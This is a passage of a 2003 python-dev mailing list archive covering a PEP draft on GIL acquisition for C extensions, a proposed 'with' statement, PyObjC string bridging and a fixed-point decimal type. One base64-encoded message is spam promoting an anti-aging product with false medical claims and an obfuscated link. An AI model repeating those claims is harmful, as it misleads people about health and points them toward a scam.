    that require multiple interpreter states.  As at time of writing, no
    extension has been identified that requires multiple =
PyInterpreterStates,
    and indeed it is not clear if that facility works correctly in =
Python=20
    itself.
   =20
    It is intended that this API be all that is necessary to acquire the
    Python GIL.  Apart from the existing, standard =
Py_BEGIN_ALLOW_THREADS=20
    and Py_END_ALLOW_THREADS macros, it is assumed that no additional =
thread
    state API functions will be used by the extension.  Extensions with
    such complicated requirements are free to continue to use the =
existing
    thread state API.
   =20
Proposal

    This proposal recommends a new, optional API be added to Python to
    simplify the management of the GIL.
   =20
    The intent is that an extension author be able to use a small,=20
    well-defined "prologue dance", at any time and on any thread,
    and this dance will ensure Python is ready to be used on that =
thread.
    After the extension has finished with Python, it must also perform =
an
    "epilogue dance" to release any resources previously acquired.  =
Ideally,
    these dances will be able to be expressed in a single line.

    Specifically, the following new APIs are proposed:
   =20
    /*
    Ensure that the current thread is ready to call the Python
    C API, regardless of the current state of Python, or of its
    thread lock.  This may be called as many times as desired
    by a thread, so long as each call is matched with a call to
    PyAutoThreadState_Release()
   =20
    When the function returns, the current thread will hold the GIL.  =
Thus,
    the GIL is held by the thread until PyAutoThreadState_Release() is =
called.
    (Note that as happens now in Python, calling a Python API function =
may=20
    indeed cause a thread-switch and therefore a GIL ownership change. =20
    However, Python gurantees that when the API function returns, the =
GIL will
    again be owned by the thread making the call)

    Failure is a fatal error.
    */
    void PyAutoThreadState_Ensure(void);
   =20
    /*
    Release any resources previously acquired.  After this call, =
Python's
    state will again be indeterminate, so the API can not be used.
   =20
    Every call to PyAutoThreadState_Ensure must be matched by a
    call to PyAutoThreadState_Release on the same thread.
    */
    void PyAutoThreadState_Release(void);
   =20
    As this PEP develops, it may become obvious that certain =
optimizations
    are possible over this simplified API, assuming extension authors =
are able=20
    to provide some context.  These will be described and implemented =
during
    the development of this PEP.

Design and Implementation

    The general operation of PyAutoThreadState_Ensure() will be:
    - Ensure Python is initialized.
    - If the current thread does not own the GIL, acquire it.
    - Increment a counter for how many calls to PyAutoThreadState_Ensure
      have been made on the current thread.
    - return
   =20
    The general operation of PyAutoThreadState_Release() will be:
      - assert our thread currently holds the lock.
    - Decrement the PyAutoThreadState_Ensure counter for the thread.
    - If counter =3D=3D 0:
      - release the lock.
      - release any additional resources consumed.
    - return

    The implementation of this functionality will require some =
additional
    functionality from Python's hosting platform.  These requirements =
are:
   =20
    [tbd]

References

    [1] pthreads???

    [2] =
http://mail.python.org/pipermail/python-dev/2002-December/031424.html

    [3]=20



Copyright

    This document has been placed in the public domain.


=0C
Local Variables:
mode: indented-text
indent-tabs-mode: nil
sentence-end-double-space: t
fill-column: 70
End:

------=_NextPart_000_006D_01C2CD23.A1DD0080--



From greg@cosc.canterbury.ac.nz  Wed Feb  5 03:37:04 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 05 Feb 2003 16:37:04 +1300 (NZDT)
Subject: [Python-Dev] With statement
In-Reply-To: <3E3FF36A.2897.6EF9DD6@localhost>
Message-ID: <200302050337.h153b4v12977@oma.cosc.canterbury.ac.nz>

>    with lock(my_lock):
>        # protected code

But if my_lock is already a lock object, with appropriate enter 
and leave methods, what would the lock() function do?

If the answer is

  def lock(x):
    return x

then I'd say that I don't like the idea of a do-nothing
function whose purpose is only to make the code look
pretty.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From python@rcn.com  Wed Feb  5 03:43:11 2003
From: python@rcn.com (Raymond Hettinger)
Date: Tue, 4 Feb 2003 22:43:11 -0500
Subject: [Python-Dev] Why did Fredrik leave the party?
References: <LNBBLJKPBEHFEDALKOLCGEHADLAB.tim_one@email.msn.com>
Message-ID: <004701c2ccc8$b56adc40$125ffea9@oemcomputer>

Okay, consider me volunteered.

David, if you want to team up, 
please send a private email so
we won't eat-up Tim's time just
discussing it.


Raymond Hettinger



----- Original Message ----- 
From: "Tim Peters" <tim_one@email.msn.com>
To: "Raymond Hettinger" <python@rcn.com>
Cc: <python-dev@python.org>
Sent: Tuesday, February 04, 2003 10:21 PM
Subject: RE: [Python-Dev] Why did Fredrik leave the party?


> [Raymond Hettinger]
> > ...
> > What still needs to be done?
> 
> Heh.  You know the drill:  proceed as if it is essentially complete, and
> then endure complaints <wink>.  As Michael noted, it needs a different name,
> and one chosen with the possibility that Aahz will finish his decimal
> library some day (no time to look up references, but it's all been discussed
> on Python-Dev before).
> 
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev

#################################################################
#################################################################
#################################################################
#####
#####
#####
#################################################################
#################################################################
#################################################################


From skip@pobox.com  Wed Feb  5 03:53:49 2003
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 4 Feb 2003 21:53:49 -0600
Subject: [Python-Dev] PEP Draft: Simplified Global Interpreter Lock
 acquisition for extensions
In-Reply-To: <006c01c2ccc7$6e6c8880$530f8490@eden>
References: <006c01c2ccc7$6e6c8880$530f8490@eden>
Message-ID: <15936.35533.128022.139543@montanaro.dyndns.org>

    Mark> Every call to PyAutoThreadState_Ensure must be matched by a call
    Mark> to PyAutoThreadState_Release on the same thread.

This suggests to me that it would be nice to have a try/finally type of
construct available for C programmers, probably some ugly CPP macros
involving gotos.  I think it would simplify the call matching you indicated
(making deadlock avoidance easier) and make DECREF cleanup a bit nicer as
well.

Just a thought...

Skip


From exarkun@intarweb.us  Wed Feb  5 04:10:41 2003
From: exarkun@intarweb.us (Jp Calderone)
Date: Tue, 4 Feb 2003 23:10:41 -0500
Subject: [Python-Dev] With statement
In-Reply-To: <3E3FF36A.2897.6EF9DD6@localhost>
References: <16E1010E4581B049ABC51D4975CEDB880113D8D5@UKDCX001.uk.int.atosorigin.com> <3E3FF36A.2897.6EF9DD6@localhost>
Message-ID: <20030205041041.GA21877@meson.dyndns.org>

--KsGdsel6WgEHnImy
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, Feb 04, 2003 at 05:07:54PM -0000, Duncan Booth wrote:
> On 4 Feb 2003 at 16:45, Moore, Paul wrote:
> > My actual preference is for a lock object with enter =3D acquire and
> > leave =3D release. Then, the idiom is
> >=20
> >     with my_lock:
> >         # protected code
> >=20
> > This requires a separate enter hook.
>=20
> As opposed to:
>=20
>     with lock(my_lock):
>         # protected code
>=20
> which wouldn't.
>=20
> I prefer the second, but I'm not entirely sure why. I think,=20
> maybe, it's because the parentheses in the second one tell me=20
> we are actually doing something, whereas the first one looks=20
> like a variable access which is the one thing that can't=20
> actually have side effects.

  Consider __nonzero__.  It is an insidious implementation that mutates the
object, but it isn't impossible.  In spite of this, I think I personally
prefer the second as well.

  Jp

--=20
        "I quite agree with you," said the Duchess; "and the moral of
that is -- Be what you would seem to be' -- or, if you'd like it put
more simply -- Never imagine yourself not to be otherwise than what it
might appear to others that what you were or might have been was not=20
otherwise than what you had been would have appeared to them to be
otherwise.'"       -- Lewis Carrol, "Alice in Wonderland"
--=20
 up 51 days, 7:50, 6 users, load average: 0.26, 0.35, 0.29

--KsGdsel6WgEHnImy
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.0 (GNU/Linux)

iD8DBQE+QI7BedcO2BJA+4YRAorzAKDGHyRkI6MClhrnuTeY+0zVRWmAbACgmMeG
3jWp7L/f0x+A6MwFbgSm8JA=
=PHSM
-----END PGP SIGNATURE-----

--KsGdsel6WgEHnImy--


From bac@OCF.Berkeley.EDU  Wed Feb  5 04:50:35 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Tue, 4 Feb 2003 20:50:35 -0800 (PST)
Subject: [Python-Dev] PEP Draft: Simplified Global Interpreter Lock
 acquisition for extensions
In-Reply-To: <006c01c2ccc7$6e6c8880$530f8490@eden>
References: <006c01c2ccc7$6e6c8880$530f8490@eden>
Message-ID: <Pine.SOL.4.53.0302042047420.1123@death.OCF.Berkeley.EDU>

[Mark Hammond]

> Hi all,
>   Following the thread of a couple of months ago, I have prepared a first
> draft of a PEP.  There is still more detail to be filled in the
> "implementation" area, but I would still like feedback on all other areas.
>

Overall I think it is a good PEP (this is coming from someone with hardly
any extension work under his belt and *no* threading work in C under his
belt).

The only point I would make is that in the discussion of
Py_BEGIN_ALLOW_THREADS does not mention any specific drawbacks about it.
Obviously you can draw some since you state they are macros, but if you
do not pick up on that you might not see what so is bad about other than
you say it is for anything complex.  Might just quickly say that it can't
tell whether the interpreter has started or not just like PyThreadState.

-Brett


From bbum@codefab.com  Wed Feb  5 04:55:42 2003
From: bbum@codefab.com (Bill Bumgarner)
Date: Tue, 4 Feb 2003 23:55:42 -0500
Subject: [Python-Dev] Bridging strings from Python to other languages
In-Reply-To: <20030205031302.2423.84706.Mailman@mail.python.org>
Message-ID: <14873590-38C6-11D7-BAFA-000393877AE4@codefab.com>

[This is a continuation of the thread that Just mentions below -- 
"NSString & mutability".  I finally had a chance to write enough code 
to figure out where the walls were that I kept bloodying my head 
against.  I believe I also came up with a more constructive way to 
think about this whole problem. More below -- the end of the 'bridging 
strings' section contains a series of what I believe are issues with 
the current Python implementation that should/may/could be addressed in 
a future version]

On Tuesday, Feb 4, 2003, at 22:13 US/Eastern, Just wrote on python-dev:
> (The use case is this. The PyObjC project marries Objective-C with
> Python. This is cool as it gives us direct access to almost all of
> Cocoa, the native OSX GUI interface. However, Cocoa defines its own
> string type and for reasons that are waaay beyond the scope of this 
> post
> (check the archives of the pyobjc-dev list if you're really really
> interested; see a recent thread called "NSString & mutability") it
> appears a bad idea to _convert_ these strings to Python unicode 
> strings.
> So we need to wrap them. Yet they should work as much like unicode
> strings as possible...)

Let me rephrase the problem in slightly different terms.   This will be 
long winded-- skip down to the 'bridging strings' section if you don't 
want to go through the initial discussion of the challenges of bridging 
two runtimes...

In creating a bridge between Python and other languages-- in this case, 
Objective-C-- the general goal is to provide seamless connectivity 
between the two runtime environments.   That is, you want to have a 
proxy to objects or structures found in the 'alien' runtime available 
in the 'native' runtime in a fashion that makes the proxy convenient to 
use.   Generally, this means that the proxy should act as much like the 
'native' runtime up to the point where it starts to obfuscate the 
behavior of the 'alien' runtime.   While a decent bridging and proxying 
mechanism can make "crossing the bridge" easy to do, one can never 
avoid the fact that there really is a bridge and on the other side 
there really is an 'alien' runtime.

Now-- there are a number of different ways to proxy objects/structures 
between the two runtimes:

- pure proxy:   the object/structure to be bridged is represented by a 
proxy that handles all requests for information or invocation of 
functions/methods by converting the request/invocation into a form that 
can be understood on the other side of the bridge.

Example -- the following creates a python native proxy to the alien 
Objective-C NSMutableArray instance (ignore that it really creates an 
NSCFArray-- that is an internal-to-Foundation implementation detail 
that is irrelevant).  The expression 'a.count()' actually causes the 
'count' Objective-C method to be invoked through the proxy a:

 >>> from Foundation import *
 >>> a = NSMutableArray.array()
 >>> type(a)
<objective-c class NSCFArray at 0x466d0>
 >>> a.count()
0
 >>> len(a)
0

The len(a) is just a demonstration of how far the proxying can go by 
defining the appropriate internal(?) attributes on the proxy.

- pure conversion:   the object/structure to be bridged is converted to 
the native type as it crosses the bridge.

Example -- the NSString is currently bridged to the Python String class 
such that string instances are converted to their native types as they 
cross the bridge [at least, this is the case in CVS -- I now have a 
proxy class that can wrap a Python PyString/PyUnicode instance and 
present it is a standard NSString instance on the ObjC side.  Avoids 
lots of unnecessary data copying when going from Python->Objective-C, 
but it needs a bunch of cleanup before I commit.]:

In the following, I create a new Objective-C NSString instance and 
assign it to 's'.  What results is a copy of the contents of the 
NSString instnace shoved into a normal Python string.

 >>> s = NSString.stringWithString_("Foobar")
 >>> type(s)
<type 'str'>

- mixed conversion/proxy:   this is a suboptimal case.   It generally 
converts to a native type in one direction, but potentially not in the 
other or not fully.

Example -- NSNumber is currently in this category.   It should change 
eventually, but there are issues to deal with:

 >>> a = NSArray.arrayWithObject_(1)
 >>> a[0]
<NSCFNumber objective-c instance 0x6704b0>
 >>> a[0] + 1
2

---

One of the key challenges is that proxying effectively causes two 
references to any given object to exist;   the native object reference 
and the 'alien' reference through the proxy.   Care must be taken to 
ensure that a single reference on either side of the bridge is enough 
to preserve both components of the hunk of data while also ensuring 
that the existence of a proxy without references does not prevent the 
item from being collected [may sound confusing:  consider the situation 
where a Python class is subclassed in the alien environment or 
vice-versa -- you effectively end up with instances that have part of 
their implementation in one runtime and the other part in the other 
runtime.  It can lead to issues.].

In general, these kinds of issues can be worked through by leveraging 
mechanisms such as weak references.  By providing a callback on the 
finalization of an object, it is possible to ensure that the 
alien-to-python component of the instance is destroyed, as well.

A final challenge is that sometimes an object's type or contents are 
completely irrelevant to a piece of code.   It is the object reference 
itself that is meaningful.  In these situations, if an object is passed 
across the bridge and back, what should come back really should be what 
went across in the first place-- if not, the contents may have been 
preserved, but the object's original identity has been lost.

Sometimes an object is just an object.

---

Strings provide a particular set of challenges in that no two runtime 
environments present exactly the same set of features in their string 
handling API, yet every runtime has some kind of a string API and, 
invariably, that API is very much at the core of the runtime.   The 
addition of Unicode to every string API over the last decade+ has not 
made things any simpler.

In python, strings are immutable and can encapsulate non-unicode data.  
  A separate unicode-- also immutable-- type is provided to encapsulate 
unicode data, but the standard string type can also encapsulate unicode 
data in certain circumstances [at least, it appears that PyString will 
happily consume and represent UTF8].

In Objective-C [and other languages], there is a single String class 
that can encapsulate both ASCII and unicode data in many different 
encodings.   Furthermore, there is a subclass of String that provides 
additional mutability API -- an instance of the mutable string class 
can have its contents changed by the developer while the identity of 
the object remains the same (unlike python where appending "b" to "a" 
results in a new string "ab").

To further complicate matters, most typed languages support the concept 
of 'upcasting' -- that is, of casting a particular instance to actually 
be an instance of a superclass.   For Objective-C, it can mean that a 
method that is declared as returning an immutable string or array 
actually returns a mutable string or array instance -- as long as the 
developer pays attention to the compiler warnings and doesn't do any 
stupid casting of their own, everything is fine.   Java offers similar 
casting "features".

- bridging strings -

So, how to bridge strings in such an environment?   In all cases, we 
can [fortunately] assume that strings pass across the bridge in one of 
a few choke points in the code -- that there is always a location to 
add a little bit of logic with which to help bridge the string [or any 
other random object].

The goal is to bridge strings in a fashion such that (not really in 
order of importance):

     (1) only one hunk of memory is used to contain the data within the 
string

     (2) conversion is kept to a minimum, if present at all, because 
strings will be passed back-and-forth across the bridge very frequently

     (3) identity is maintained;   pass a string with id() 7570720 from 
Python into the alien runtime and subsequently from the alien runtime 
back into python and the same string instance with id() 7570720 really 
should come back

     (4) 'alien' string specific API can still be used;   the 
Objective-C NSString provides a very rich API, including localization 
features that are not available in pure python.

For Python->Objective-C, bridging strings has proven to be fairly easy. 
  (1), (2), and (4) are quite straightforward.   (3) is not done yet.

For Objective-C->Python, bridging strings is not so easy.  The 
difficulty is compounded by certain features of the Python 
string/unicode APIs.

(1) is pretty easy -- the challenge is to figure out which API to call 
on the Python side such that the resulting Python object does not copy 
and re-encode the data.   If that is unavoidable, the cost of encoding 
or conversion (2) should be minimized [hopefully with a cache so that 
cost of conversion is paid once, then never again for immutable string 
instances].  There is also the ongoing challenge of determining when to 
use the PyString vs. PyUnicode APIs;  it seems that unicode objects are 
not welcome everywhere that string objects are?

(4) is actually quite easy and has been available for some time through 
the use of unbound methods.   However, the current implementation in 
CVS will always cause the python string to be converted to an NSString, 
the method invoked, and then the result-- if any and if a string-- is 
converted back to a python string.

(3) is not so easy-- at least, not from what I have determined so far.  
Most of the issues seem to be due to limitations in Python (which is 
really just another way of saying "I don't know enough to approach this 
problem from the right direction"):

     - can't use weakref because one can't have a weak reference to a 
string or unicode object.   This means that a callback when a string 
ref is finalized on the python side is not possible.   It also means 
that creating a hash between ObjC string instances and Python string 
instances can't be done without using strong references, thereby 
creating the potential for leaking memory.

     - can't subclass string (but can unicode) to provide a class that 
acts exactly like a regular string while containing a reference to the 
foreign string object.  There doesn't appear to be anywhere to hide a 
hunk of data in the string instance, either.

     - can't use the character buffer APIs because a character buffer 
cannot be used consistently throughout the python APIs in the same 
places as a string.  Using str() to turn a char buffer into a string 
violates (1) [and doesn't make much sense anyway].

End result -- it is very difficult to preserve the association between 
an alien string instance and a PyString instance consistently.  Even if 
PyString instances provide very thorough and consistent hashing 
behavior where two strings with the same contents always hash the same, 
the same cannot be said of all alien environments.   Even when it is 
true, there are cases where the developer may be relying on the 
identity of the object to not change outside of their control.

Mutable strings obviously present issues of their own, but they are not 
particularly relevant to discussion on python-dev outside of how future 
development might make the support of such common idiosyncrasies a bit 
more straightforward. Ideally, one could have an object on the python 
side that looks/feels/smells like a string instance, but whose contents 
may change.  This creates any number of exciting problems.  To further 
compound problems, anything that is declared as returning an NSString 
*may* return an NSMutableString at whim.  It doesn't happen often, but 
when it does, if the handling of mutable vs. immutable strings is too 
radically different, it'll cause code to blow up in highly unexpected 
and very difficult to debug ways.

Rambling on....
b.bum



From ping@zesty.ca  Wed Feb  5 06:54:57 2003
From: ping@zesty.ca (Ka-Ping Yee)
Date: Wed, 5 Feb 2003 00:54:57 -0600 (CST)
Subject: [Python-Dev] Fixed-point numeric type
In-Reply-To: <004701c2ccc8$b56adc40$125ffea9@oemcomputer>
Message-ID: <Pine.LNX.4.33.0302042346560.8775-100000@server1.lfw.org>

I know no one asked for my opinion, but if you will indulge me
for a moment -- i think the most important concern is to keep the
type simple, minimal, and above all *immutable*.

Thus:

1.  Prevent setting of attributes.

2.  Turn 'precision' into a read-only attribute.  To set precision,
    just make a new number with decimal(x, new_precision).

3.  But don't call it 'precision'.  The word 'precision' usually
    means either the total number of significant digits, or the
    least significant distinguishable unit.  What we're talking
    about (number of digits after the decimal point) is neither.
    I believe the correct term is 'scale' (from SQL).  See also
    http://www2.hursley.ibm.com/decimal/.

4.  Get rid of copy(); it's unnecessary if you're immutable.

5.  Get rid of 'frac()'.  I don't see how it would be needed
    very often, and it's easy to do x - long(x).

That leaves a simple immutable numeric type with no public methods
and just one attribute -- hence the least possible burden on a
future version of Python, if this type eventually becomes built-in.
(And the least possible burden is a good goal in general anyway.)

Also:

6.  No global mutable state.  That means no global settings for
    default precision or rounding mode.  Either pick a standard
    precision or always require the second constructor argument.
    Rounding mode is a tougher problem; i see two solutions:

    (a) Eliminate variable rounding; always round half to even.

    (b) Set rounding function as an attribute of the number.
        Operators use the rounding function of the first operand.
        This lets modules control module-local rounding behaviour
        if they really want to do so, without interfering with
        the rest of the program.

This may sound like a harsh requirement, but i am convinced that
global mutable settings will cause nightmares for people who try
to make their modules and programs interoperate.

                        *       *       *

I know the name is a relatively small issue, but my vote would be for
the type to be called either "fixpoint" or "decimal".  The type name
should definitely be lowercase for something as basic as a number,
and also lowercase if it's to be a candidate for a future built-in.

Arguments for "fixpoint":

F1. Shorter than "fixedpoint".  It's okay to drop "-ed", since
    "floating point" -> "float" is accepted.

F2. "fix" alone is too unspecific.

F3. The important difference between "fixpoint" and "float" is that
    the precision doesn't change.

F4. Already the name of some fixed-point number packages.

Arguments for "decimal":

D1. Simple, short, friendly.

D2. The important difference between "decimal" and "float" is that
    the fractional part is decimal.

D3. Already the name of a SQL standard data type.

I think i am currently leaning toward "decimal", because D2 holds
a few microlitres more water than F3 for me.


-- ?!ng



From andrea" <andreayj478@accountant.com  Tue Feb  4 19:28:24 2003
From: andrea" <andreayj478@accountant.com (andrea)
Date: Wed, 05 Feb 2003 01:28:24 +0600
Subject: [Python-Dev] Safely  F e e l  Young!                                                                                                946-3
Message-ID: <014c66b04b2b$6568c4b3$8ee08ab6@mrcdxs>

------=_NextPart_000_00D6_16E36C1E.E3312C73
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: base64


KiBSZWR1Y2UgdGhlIGFtb3VudCBvZiBzbGVlcCB5b3UgbmVlZA0KKiBDYXVz
ZSB3b3VuZHMgdG8gaGVhbCBmYXN0ZXINCiogTG9zZSB3ZWlnaHQgd2hpbGUg
eW91ciBzbGVlcGluZw0KKiBCZWNvbWUgbGVzcyB3aW5kZWQgd2hlbiBleGNl
cnNpemluZw0KKiBQdXQgY29sb3IgYmFjayBpbiBncmV5IGhhaXINCiogR3Jv
dyBoYWlyIGJhY2sgd2hlcmUgaXQgaGFkIG9uY2UgZmFsbGVuIG91dA0KKiBU
aWdodGVuIHNraW4NCiogU3RyZW5ndGhlbiBib25lcw0KKiBCb2R5IGJ1aWxk
ZXJzIC0gdXNlIHRoaXMgdG8gYnVpbGQgeW91ciBtdXNjbGVzIHF1aWNrZXIN
Ci4uLi4uLi4uLi5UaGUgTGlzdCB0cnVseSBnb2VzIG9uIGFuZCBvbi4uLi4u
Li4uLi4NCg0KQXMgc2VlbiBvbiBOQkMsIENCUywgQ05OLCBhbmQgT3ByYWgh
IFRoZSBoZWFsdGggZGlzY292ZXJ5IA0KdGhhdCBhY3R1YWxseSByZXZlcnNl
cyBhZ2luZyBzeW1wdG9tcyB3aXRob3V0IGRpZXRpbmcgb3IgZXhlcmNpc2Uh
IA0KVGhpcyBQUk9WRU4gZGlzY292ZXJ5IGhhcyBiZWVuIHJlcG9ydGVkIG9u
IGJ5IHRoZSANCk5ldyBFbmdsYW5kIEpvdXJuYWwgb2YgTWVkaWNpbmUgLSBk
b24ndCBqdXN0IHRha2Ugb3VyIHdvcmQgZm9yIGl0Lg0KDQpJbiBmYWN0IHdl
J2QgbGlrZSB5b3UgdG8gcmVjZWl2ZSBhIEYuUi5FLkUgdGhpcnR5IGRheSBz
dXBwbHk7IGxvb2sgYW5kIGZlZWwgDQp5b3VuZ2VyLCBsb3NlIHdlaWdodCwg
cmVkdWNlIHNsZWVwLCBUaGUgbGlzdCBnb2VzIG9uLCB3ZSANCmVuY291cmFn
ZSB5b3UgdG8gYXQgbGVhc3QgdGFrZSBhIGxvb2sgYXQgdGhlIGluZm9ybWF0
aW9uIGFzIHRvDQp3aGF0IGVsc2UgaXQgY2FuIGRvDQoNCmh0dHA6Ly9oaWRk
ZW4uY29tLm1zLXNjcmlwdC42NTE2ODUuOTg3MzY2MS0wMzMyMTk4NzYzNTEz
NTMxODQxLmVuY29kZS4zMzM3MTgxNTA3NDYwNTU2NC5lbHNlLjE0MDU1ODYz
NzIwMjU4OTQ2MzAyMTU1MDYzNzMyLm1zL3d3dy5ncm93eW91bmcuY29tLz9s
aWZlcw0KDQoNCjc3OTB5RmFpNy01OTJCd3BtNzA3N3dNbXQ0LTgzM2tBWnYz
MjU1bDM2


From whisper@oz.net  Wed Feb  5 08:46:42 2003
From: whisper@oz.net (David LeBlanc)
Date: Wed, 5 Feb 2003 00:46:42 -0800
Subject: [Python-Dev] Fixed-point numeric type
In-Reply-To: <Pine.LNX.4.33.0302042346560.8775-100000@server1.lfw.org>
Message-ID: <GCEDKONBLEFPPADDJCOEMELKHNAA.whisper@oz.net>

> -----Original Message-----
> From: python-dev-admin@python.org [mailto:python-dev-admin@python.org]On
> Behalf Of Ka-Ping Yee
> Sent: Tuesday, February 04, 2003 22:55
> To: Raymond Hettinger
> Cc: David LeBlanc; python-dev@python.org
> Subject: [Python-Dev] Fixed-point numeric type
>
>
> I know no one asked for my opinion, but if you will indulge me
> for a moment -- i think the most important concern is to keep the
> type simple, minimal, and above all *immutable*.
>
> Thus:
>
> 1.  Prevent setting of attributes.
>
> 2.  Turn 'precision' into a read-only attribute.  To set precision,
>     just make a new number with decimal(x, new_precision).

Hmmm... and what shall the precision of 4.5 + 2.331 be? I see this as being
some sort of output attribute and not an inherent property of the stored
value.

> 3.  But don't call it 'precision'.  The word 'precision' usually
>     means either the total number of significant digits, or the
>     least significant distinguishable unit.  What we're talking
>     about (number of digits after the decimal point) is neither.
>     I believe the correct term is 'scale' (from SQL).  See also
>     http://www2.hursley.ibm.com/decimal/.

I would think that calling it what most mathematicians would call it would
be most appropriate.

> 4.  Get rid of copy(); it's unnecessary if you're immutable.

Are floats and ints immutable? This should follow the standard for existing
numeric types IMO.

> 5.  Get rid of 'frac()'.  I don't see how it would be needed
>     very often, and it's easy to do x - long(x).


> That leaves a simple immutable numeric type with no public methods
> and just one attribute -- hence the least possible burden on a
> future version of Python, if this type eventually becomes built-in.
> (And the least possible burden is a good goal in general anyway.)

No public methods? No math operators? Is this a fixed point numeric
constant?

> Also:
>
> 6.  No global mutable state.  That means no global settings for
>     default precision or rounding mode.  Either pick a standard
>     precision or always require the second constructor argument.
>     Rounding mode is a tougher problem; i see two solutions:

Disagree. there is a "natural" precision that most people would tend to use
and I think it's 2 places to the right of the decimal point. Rounding varies
according to need and, again, I think there's a "natural" preference,
although in this case I don't know what it would be.

>     (a) Eliminate variable rounding; always round half to even.

I suspect financial people would not like this. See the discussion of
banker's rounding in the doc. Ideally, as is already built, rounding should
be both defaulted and overridable by a derivative class, for example "class
money (fixedpoint):"

>     (b) Set rounding function as an attribute of the number.
>         Operators use the rounding function of the first operand.
>         This lets modules control module-local rounding behaviour
>         if they really want to do so, without interfering with
>         the rest of the program.

I thend to think that I want rounding to be a display function and not
something that effects the stored value. Otherwise you propegate rounding
loss.

> This may sound like a harsh requirement, but i am convinced that
> global mutable settings will cause nightmares for people who try
> to make their modules and programs interoperate.

How?

>                         *       *       *
>
> I know the name is a relatively small issue, but my vote would be for
> the type to be called either "fixpoint" or "decimal".  The type name
> should definitely be lowercase for something as basic as a number,
> and also lowercase if it's to be a candidate for a future built-in.
>
> Arguments for "fixpoint":
>
> F1. Shorter than "fixedpoint".  It's okay to drop "-ed", since
>     "floating point" -> "float" is accepted.
>
> F2. "fix" alone is too unspecific.
>
> F3. The important difference between "fixpoint" and "float" is that
>     the precision doesn't change.
>
> F4. Already the name of some fixed-point number packages.

I like FixedPoint, Fixedpoint or fixedpoint - whatever the capitalization of
other Python types is.

> Arguments for "decimal":
>
> D1. Simple, short, friendly.
>
> D2. The important difference between "decimal" and "float" is that
>     the fractional part is decimal.
>
> D3. Already the name of a SQL standard data type.

I suspect decimal might impact Aahz' decimal.py. I have downloaded but not
looked at it yet; but perhaps it's worthy of inclusion into Tim's package.
What does decimal imply to a user that might not be true in fixedpoint? I
resist the idea of naming it to suggest any relation with an SQL datatype
unless it precisely mimics that datatype and there's a good reason for
mimicing it in the first place!

> I think i am currently leaning toward "decimal", because D2 holds
> a few microlitres more water than F3 for me.

I am currently leaning towards running and hiding behind Tim ;)

>
> -- ?!ng

Some rather more prosaic questions:
1. Should it work on versions of Python before 2.3?
2. Are there more unit tests required that need to be added to the Python
test suite?
3. What is the procedure for getting it into the distro, both bits and docs?
4. Is the class complete? Can it be pickled? Does it play well with floats
and ints? Does it have a to/from string method?
5. Does it have an impact on other classes?
6. Does it have any impact on string format specifiers? (It should IMO.)
7. Does Tim have enough time to look over our shoulders, channel Guido and
get this done right without taking up too much of his time?

I think the idea should be to get the package into the distro and not start
a rethink/redesign at this stage - otherwise it won't appear until Python
3000 ;).

gee-this-was-supposed-to-be-easily-yours

Dave LeBlanc
Seattle, WA USA



From ping@zesty.ca  Wed Feb  5 08:59:11 2003
From: ping@zesty.ca (Ka-Ping Yee)
Date: Wed, 5 Feb 2003 02:59:11 -0600 (CST)
Subject: [Python-Dev] Fixed-point numeric type
In-Reply-To: <GCEDKONBLEFPPADDJCOEMELKHNAA.whisper@oz.net>
Message-ID: <Pine.LNX.4.33.0302050248270.8775-100000@server1.lfw.org>

On Wed, 5 Feb 2003, David LeBlanc wrote:
> Hmmm... and what shall the precision of 4.5 + 2.331 be? I see this as being
> some sort of output attribute and not an inherent property of the stored
> value.

Already covered -- read the documentation at http://fixedpoint.sf.net/.
I'm starting with what's specified there and proposing adjustments.

> Are floats and ints immutable?

Yes, and it's essential.

> No public methods? No math operators? Is this a fixed point numeric
> constant?

No need for methods.  Other numeric types don't have them.  (Well,
complex has .conjugate(), but that's very complex-specific.)

> > 6.  No global mutable state.  That means no global settings for
> >     default precision or rounding mode.  Either pick a standard
> >     precision or always require the second constructor argument.
> >     Rounding mode is a tougher problem; i see two solutions:
>
> Disagree. there is a "natural" precision that most people would tend to use
> and I think it's 2 places to the right of the decimal point.

I didn't contradict your suggestion.  A default of 2 places is fine.
But there must be a fixed default; no global mutable setting.

> Rounding varies
> according to need and, again, I think there's a "natural" preference,
> although in this case I don't know what it would be.

I believe the natural preference is round-half-to-even, also known
as "banker's rounding", which is the current default in FixedPoint.

> I thend to think that I want rounding to be a display function and not
> something that effects the stored value. Otherwise you propegate rounding
> loss.

There must be some limit to storage precision.  If you want to avoid
propagating loss, use high precision, then round when you're done.

> > This may sound like a harsh requirement, but i am convinced that
> > global mutable settings will cause nightmares for people who try
> > to make their modules and programs interoperate.
>
> How?

Suppose two modules use different default precisions or rounding modes,
and they set this by changing a global flag.  If you use both modules,
one will break, and it will be practically impossible to fix.

> I think the idea should be to get the package into the distro and not start
> a rethink/redesign at this stage - otherwise it won't appear until Python
> 3000 ;).

The adjustments i'm suggesting look pretty small to me: remove
mutability, remove global state.

When in doubt, simplify or remove features.  Features can be always
added later; but once a feature is in, dependencies force it to stay.


-- ?!ng



From mal@lemburg.com  Wed Feb  5 08:59:17 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 05 Feb 2003 09:59:17 +0100
Subject: [Python-Dev] Passing floats to "i" parser marker
In-Reply-To: <E18gAAX-0002eQ-00@sc8-pr-cvs1.sourceforge.net>
References: <E18gAAX-0002eQ-00@sc8-pr-cvs1.sourceforge.net>
Message-ID: <3E40D265.8080005@lemburg.com>

nascheme@users.sourceforge.net wrote:
> Update of /cvsroot/python/python/dist/src/Misc
> In directory sc8-pr-cvs1:/tmp/cvs-serv10115/Misc
> 
> Modified Files:
> 	NEWS 
> Log Message:
> If a float is passed where a int is expected, issue a DeprecationWarning
> instead of raising a TypeError.  Closes #660144 (again).
> 
